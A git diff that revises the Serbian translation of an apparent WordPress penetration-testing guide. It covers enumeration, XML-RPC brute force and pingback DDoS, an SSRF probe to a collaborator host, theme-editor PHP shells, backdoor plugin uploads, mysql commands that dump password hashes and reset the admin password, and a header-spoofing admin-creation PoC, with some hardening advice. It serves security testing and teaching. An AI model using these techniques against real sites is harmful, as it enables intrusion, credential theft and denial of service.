diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 01f79b3b7..885ee2be8 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -4,49 +4,49 @@
## Osnovne informacije
-- **Uploaded** fajlovi se nalaze na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Datoteke tema se mogu naći u /wp-content/themes/,** pa ako izmenite neki php u temi da biste dobili RCE verovatno ćete koristiti taj put. Na primer: Koristeći temu **twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Otpremljene** datoteke idu u: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
+- **Fajlovi tema se nalaze u /wp-content/themes/,** tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti tu putanju. Na primer: Koristeći **theme twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
-- **Još jedan koristan url može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- U **wp-config.php** možete pronaći root lozinku baze podataka.
- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
-### **Glavne WordPress datoteke**
+### **Glavni WordPress fajlovi**
- `index.php`
-- `license.txt` sadrži korisne informacije kao što je verzija instaliranog WordPress-a.
-- `wp-activate.php` se koristi za proces aktivacije putem emaila prilikom podešavanja novog WordPress sajta.
-- Login fajlovi/putanje (mogu biti preimenovani da bi se sakrili):
+- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
+- `wp-activate.php` se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.
+- Login folderi (mogu biti preimenovani da bi se sakrili):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
-- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam kodiranja. Ovakva vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
-- Folder `wp-content` je glavni direktorijum gde se čuvaju plugins i teme.
-- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi otpremljeni na platformu.
-- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgeti.
-- `wp-sitemap.xml` U WordPress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim objavama i javno upitnim tipovima postova i taksonomijama.
+- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam enkodiranja. Ovaj tip komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
+- Folder `wp-content` je glavni direktorijum u kome se čuvaju plugins i themes.
+- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi upload-ovani na platformu.
+- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgets.
+- `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno query-abilnim tipovima postova i taksonomijama.
**Post exploitation**
-- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka kao što su ime baze, host baze, korisničko ime i lozinka, authentication keys and salts, i prefiks tabela u bazi. Ovaj konfiguracioni fajl se takođe može iskoristiti za aktivaciju DEBUG moda, što može biti korisno pri otklanjanju problema.
+- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u da se poveže na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefix tabela u bazi. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema.
-### Korisničke dozvole
+### Permissions korisnika
- **Administrator**
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
-- **Author**: Objavljuje i upravlja svojim postovima
+- **Author**: Objavljuje i upravlja sopstvenim postovima
- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi
-- **Subscriber**: Pregleda postove i menja svoj profil
+- **Subscriber**: Pregleda postove i uređuje svoj profil
-## **Pasivna enumeracija**
+## **Passive Enumeration**
-### **Dobijanje WordPress verzije**
+### **Get WordPress version**
Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html`
-U **izvornom kodu** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
+Unutar **source code** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@@ -56,32 +56,32 @@ curl https://victim.com/ | grep 'content="WordPress'
.png>)
-- CSS link files
+- CSS link fajlovi
.png>)
-- JavaScript files
+- JavaScript fajlovi
.png>)
-### Preuzmi dodatke
+### Preuzmi Plugins
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
-### Dobavljanje tema
+### Preuzmi teme
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
-### Izvlačenje verzija uopšteno
+### Ekstrakcija verzija uopšteno
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Aktivna enumeracija
-### Plugins and Themes
+### Dodaci i teme
-Verovatno nećete moći da pronađete sve Plugins and Themes. Da biste otkrili sve, moraćete da **aktivno Brute Force listu Plugins and Themes** (nadamo se da postoje automatizovani alati koji sadrže te liste).
+Verovatno nećete moći da pronađete sve dodatke i teme. Da biste otkrili sve, moraćete da **aktivno Brute Force listu dodataka i tema** (nadajmo se da postoje automatizovani alati koji sadrže te liste).
### Korisnici
@@ -99,15 +99,15 @@ Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicim
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
-Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće pružene samo informacije o korisnicima koji imaju ovu funkciju omogućenu**.
+Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće pružene samo informacije o korisnicima koji imaju ovu opciju omogućenu**.
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak-ovati IP adrese.
-- **Login username enumeration**: Prilikom prijavljivanja na **`/wp-login.php`**, **poruka** će biti **različita** u zavisnosti od toga da li navedeni **username** postoji ili ne.
+- **Login username enumeration**: Prilikom prijave na **`/wp-login.php`** poruka je **različita** u zavisnosti od toga da li naznačeno **korisničko ime postoji ili ne**.
### XML-RPC
-Ako je `xml-rpc.php` aktivan, možete izvršiti credentials brute-force ili ga iskoristiti za pokretanje DoS napada na druge resurse. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
+Ako je `xml-rpc.php` aktivan, možete izvršiti brute-force kredencijala ili ga koristiti za pokretanje DoS napada na druge resurse. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
@@ -122,7 +122,7 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
**Credentials Bruteforce**
-**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete neku od njih, možete poslati nešto poput:
+**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** su neki od metoda koji se mogu koristiti za brute-force credentials. Ako možete pronaći bilo koji od njih, možete poslati nešto poput:
```html
wp.getUsersBlogs
@@ -132,13 +132,13 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
```
-Poruka _"Incorrect username or password"_ u odgovoru sa status kodom 200 treba da se pojavi ako pristupni podaci nisu validni.
+Poruka _"Incorrect username or password"_ u odgovoru sa statusnim kodom 200 treba da se pojavi ako kredencijali nisu validni.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
.png>)
-Korišćenjem tačnih pristupnih podataka možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+Koristeći ispravne kredencijale možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
@@ -172,14 +172,14 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
-**Bypass 2FA**
+**Zaobilaženje 2FA**
-Ovaj metod je namenjen programima, a ne ljudima, i star je, zato ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite tim creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz console, ali i dalje biste mogli da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
+Ova metoda je namenjena programima, a ne ljudima, i zastarela je, pa ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, **možda ćete moći zloupotrebiti xmlrpc.php da se prijavite koristeći te creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz konzolu, ali ipak možete uspeti da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
-**DDoS or port scanning**
+**DDoS ili port scanning**
-If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
-This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** to **scan** some internal **network** (you can indicate any port).
+Ako u listi pronađete metodu _**pingback.ping**_, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.\
+Ovo se može iskoristiti da naterate **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako se u toj lokaciji izaziva **DDoS**) ili možete iskoristiti da naterate **Wordpress** da **scan** neku internu **network** (možete navesti bilo koji port).
```html
pingback.ping
@@ -193,7 +193,7 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
-Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
+Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu da prouzrokujete DDoS.
**DDoS**
```html
@@ -209,15 +209,15 @@ Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako
### wp-cron.php DoS
-Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: **`/wp-cron.php`**\
-Kada se pristupi ovom fajlu, izvrši se **intenzivan** MySQL **upit**, pa bi mogao biti iskorišćen od strane **attackers** da **izazove** **DoS**.\
-Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
+Ovaj fajl obično postoji pod root direktorijumom Wordpress sajta: **`/wp-cron.php`**\
+Kada se ovaj fajl **pristupi**, izvršava se "**težak**" MySQL **upit**, pa može biti iskorišćen od strane **napadača** da **izazove** **DoS**.\
+Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne akcije u redovnim intervalima (bez izazivanja problema).
### /wp-json/oembed/1.0/proxy - SSRF
-Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt možda će napraviti zahtev ka vama.
+Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt može napraviti zahtev ka vama.
This is the response when it doesn't work:
@@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
-## Dobijte pristup prepisivanjem bita
+## Dobijanje pristupa prepisivanjem jednog bita
-Više je radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si promeniti 1 bit u bilo kojoj wordpress datoteci. Dakle, mogao si promeniti poziciju `5389` datoteke `/var/www/html/wp-includes/user.php` tako da se NOT (`!`) operacija pretvori u NOP.
+Više radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si da preokreneš 1 bit u bilo kom wordpress fajlu. Tako si mogao da preokreneš bit na poziciji `5389` u fajlu `/var/www/html/wp-includes/user.php` da bi NOP-ovao NOT (`!`) operator.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
-**Izmena php fajla iz korišćene teme (potrebni admin kredencijali)**
+**Izmena php fajla iz korišćene teme (admin credentials needed)**
Appearance → Theme Editor → 404 Template (sa desne strane)
-Zamenite sadržaj php fajla php shell-om:
+Promenite sadržaj u php shell:
.png>)
-Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju pristupite ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@@ -263,62 +263,62 @@ Možete koristiti:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
-da biste dobili session.
+da biste dobili sesiju.
## Plugin RCE
### PHP plugin
-It may be possible to upload .php files as a plugin.\
-Create your php backdoor using for example:
+Može biti moguće otpremiti .php fajlove kao plugin.
+Kreirajte svoj php backdoor, na primer koristeći:
.png>)
-Then add a new plugin:
+Zatim dodajte novi plugin:
.png>)
-Upload plugin and press Install Now:
+Otpremajte plugin i kliknite Install Now:
.png>)
-Click on Procced:
+Kliknite na Procced:
.png>)
-Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
+Verovatno ovo neće naizgled ništa uraditi, ali ako odete u Media, videćete da je vaš shell otpremljen:
.png>)
-Access it and you will see the URL to execute the reverse shell:
+Pristupite mu i videćete URL za izvršenje reverse shell-a:
.png>)
### Uploading and activating malicious plugin
-Ovaj metod uključuje instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način:
+Ova metoda uključuje instalaciju zlonamernog plugina koji je poznat kao ranjiv i može se iskoristiti za dobivanje web shell-a. Proces se izvodi kroz WordPress dashboard na sledeći način:
-1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
+1. **Plugin Acquisition**: plugin se dobavlja iz izvora kao što je Exploit DB, na primer [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
-- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
-- Upload the zip file of the downloaded plugin.
-3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
+- Idite na WordPress dashboard, zatim na `Dashboard > Plugins > Upload Plugin`.
+- Otpremajte zip fajl preuzetog plugina.
+3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora biti aktiviran preko dashboard-a.
4. **Exploitation**:
-- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
-- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
-- It's noted that this is just one of the many methods to exploit a WordPress site.
+- Sa pluginom "reflex-gallery" instaliranim i aktiviranim, može biti eksploatisan jer je poznato da je ranjiv.
+- Metasploit framework obezbeđuje exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, čime se dobija neautorizovani pristup sajtu.
+- Napominje se da je ovo samo jedan od mnogih načina da se iskoristi WordPress sajt.
-Sadržaj uključuje vizuelne prikaze koji ilustruju korake u WordPress dashboard-u za instalaciju i aktiviranje plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način protivzakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je penetration testing sa izričitim dopuštenjem.
+Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovakav način ilegalno i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u zakonitom kontekstu, kao što je penetration testing uz izričitu dozvolu.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ona pruža podršku za Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
-- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj custom plugin (backdoor) u WordPress.
-- _**(RCE) Built-In Plugin Edit:**_ Izmenite ugrađene plugine u WordPress-u.
-- _**(RCE) Built-In Theme Edit:**_ Izmenite ugrađene teme u WordPress-u.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite svoj custom plugin (backdoor) u WordPress.
+- _**(RCE) Built-In Plugin Edit:**_ Uređuje ugrađene plugine u WordPress-u.
+- _**(RCE) Built-In Theme Edit:**_ Uređuje ugrađene teme u WordPress-u.
- _**(Custom) Custom Exploits:**_ Custom Exploits za third-party WordPress plugine/teme.
## Post Exploitation
@@ -327,7 +327,7 @@ Ekstrahujte korisnička imena i lozinke:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
-Promeni administratorsku lozinku:
+Promenite administratorsku lozinku:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
@@ -335,13 +335,13 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE
### Površina napada
-Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti. Način na koji plugin može izložiti funkcionalnost opisan je u sledećim tačkama, a primeri ranjivih pluginova nalaze se u [**ovom članku**](https://nowotarski.info/wordpress-nonce-authorization/).
+Znanje o tome kako Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. Možete pronaći načine na koje plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih pluginova u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
-Jedan od načina na koji plugin može izložiti funkcije korisnicima je preko AJAX handlers. Oni mogu sadržati greške u logici, autorizaciji ili autentikaciji. Štaviše, često se dešava da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (bez obzira na svoju ulogu).
+Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handler-a. Oni mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često se događa da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koje **bilo koji autentifikovani korisnik u Wordpress instanci može imati** (bez obzira na ulogu).
-Ovo su funkcije koje se mogu koristiti za izlaganje funkcionalnosti u pluginu:
+Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
@@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Korišćenje `nopriv` čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).**
> [!CAUTION]
-> Štaviše, ako funkcija samo proverava autorizaciju korisnika funkcijom `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen — obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
+> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama koje zahtevaju visoke privilegije.
- **REST API**
-Takođe je moguće izložiti funkcije iz wordpress registracijom REST API-ja koristeći funkciju `register_rest_route`:
+Takođe je moguće izložiti funkcije iz WordPress-a registracijom REST API-ja koristeći funkciju `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
-The `permission_callback` je callback koji proverava da li je dati korisnik ovlašćen da pozove API metodu.
+The `permission_callback` je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
-**Ako se koristi ugrađena funkcija `__return_true`, ona će jednostavno preskočiti proveru korisničkih dozvola.**
+**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru permisija korisnika.**
- **Direktan pristup php fajlu**
-Naravno, Wordpress koristi PHP i fajlovi unutar plugin-ova su direktno dostupni sa weba. Dakle, ako neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće iskorišćena od strane bilo kog korisnika.
+Naravno, Wordpress koristi PHP i fajlovi unutar plugin-a su direktno dostupni sa weba. Dakle, ako plugin otkriva neku ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
-Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač može spoof-ovati header i pozvati privilegovane REST rute kao administrator.
+Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može lažirati i pozvati privilegovane REST rute kao administrator.
-- Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
-- Primer headera: `X-Wcpay-Platform-Checkout-User: 1` (postavlja ID korisnika na 1, obično prvi administratorski nalog).
-- Eksploatisana ruta: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
+- Uticaj: neautentifikovano eskaliranje privilegija do administratora kreiranjem novog administratora preko core users REST rute.
+- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forsira user ID 1, tipično prvi administratorski nalog).
+- Exploited route: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
PoC
```http
@@ -393,38 +393,38 @@ Content-Length: 114
```
Zašto ovo funkcioniše
-- The plugin maps a client-controlled header to authentication state and skips capability checks.
-- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
+- Plugin preslikava client-controlled header u authentication state i zaobilazi capability checks.
+- WordPress core očekuje `create_users` capability za ovaj route; plugin hack ga zaobilazi tako što direktno postavlja current user context iz header-a.
Očekivani indikatori uspeha
-- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
+- HTTP 201 sa JSON body koji opisuje kreiranog korisnika.
- Novi admin korisnik vidljiv u `wp-admin/users.php`.
Kontrolna lista za detekciju
-- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
-- Pregled REST registracija za privilegovane callback-ove koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na request headers.
+- Grep-ujte za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDK-ove koji čitaju custom headers da bi postavili user context (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- Pregledajte REST registracije za privileged callbacks koji nemaju robusne `permission_callback` provere i umesto toga zavise od request headers.
- Potražite upotrebe core user-management funkcija (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
-Ojačavanje
+Ojačavanje bezbednosti
-- Nikada ne izvodi autentikaciju ili autorizaciju iz client-controlled header-a.
-- Ako reverse proxy mora da injektuje identitet, terminate trust kod proxy-a i uklonite dolazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledi potpisani token i verifikuj ga server-side.
-- Za REST rute koje izvode privilegovane akcije, zahtevaj `current_user_can()` provere i strogi `permission_callback` (ne koristi `__return_true`).
-- Preferiraj first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
+- Nikada ne izvlačite authentication ili authorization iz client-controlled headers.
+- Ako reverse proxy mora da ubacuje identity, završite trust na samom proxy-ju i uklonite dolazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledite signed token i verifikujte ga na server strani.
+- Za REST route-ove koji izvršavaju privileged actions, zahtevajte `current_user_can()` provere i strogi `permission_callback` (ne koristite `__return_true`).
+- Preferirajte first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
-References: see the links at the end of this page for a public case and broader analysis.
+References: pogledajte linkove na kraju ove stranice za javni slučaj i širu analizu.
-### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
+### Neautentifikovano proizvoljno brisanje fajlova preko wp_ajax_nopriv (Litho Theme <= 3.0)
-WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
+WordPress teme i plugin-ovi često izlažu AJAX handlers kroz `wp_ajax_` i `wp_ajax_nopriv_` hooks. Kada se koristi **_nopriv_** varijanta **callback postaje dostupan neautentifikovanim posetiocima**, pa svaka osetljiva akcija mora dodatno da implementira:
-1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
-2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
-3. **Strict input sanitisation / validation**.
+1. A **capability check** (npr. `current_user_can()` ili bar `is_user_logged_in()`), i
+2. A **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
+3. **Stroga sanitizacija / validacija input-a**.
-The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
+Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrolna mehanizma u *Remove Font Family* funkciji i na kraju je isporučila sledeći kod (pojednostavljeno):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@@ -443,11 +443,11 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
